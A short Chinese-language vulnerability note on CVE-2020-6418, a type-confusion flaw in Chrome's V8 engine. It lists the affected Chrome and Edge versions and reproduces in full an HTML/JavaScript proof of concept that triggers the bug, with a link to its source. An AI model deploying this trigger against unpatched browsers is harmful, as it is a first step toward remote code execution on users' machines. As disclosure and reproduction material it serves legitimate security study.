(CVE-2020-6418)Chrome 远程代码执行漏洞

一、漏洞简介

在Google Chrome浏览器80.0.3987.122以下与Microsoft Edge浏览器80.0.361.62以下的版本中,开源JavaScript和WebAssembly引擎V8中存在一个类型混淆漏洞(CVE-2020-6418),可能导致攻击者非法访问数据,从而执行恶意代码。

二、漏洞影响

Google Chrome浏览器80.0.3987.122以下与Microsoft Edge浏览器80.0.361.62以下的版本中

三、复现过程

poc

<!DOCTYPE html>
<head>
    <script>
        ITERATIONS = 10000
        TRIGGER = false

        function f(a,p){
            return a.pop(Reflect.construct(function(){}, arguments, p))
        }

        let a;
        let p = new Proxy(Object, {
            get: function(){
                if (TRIGGER){
                    a[2] = 1.1;
                }
                return Object.prototype;
            }
        });
        for(let i = 0; i < ITERATIONS; i++){
            let isLastIteration = i==ITERATIONS-1;
            a = [0,1,2,3,4];
            if(isLastIteration)
                TRIGGER = true;
            console.log(f(a,p));
        }
        console.log(a)
    </script>
</head>
<body>
    CVE-2020-6418 PoC!
</body>

参考链接

https://github.com/ChoKyuWon/CVE-2020-6418/blob/master/poc.html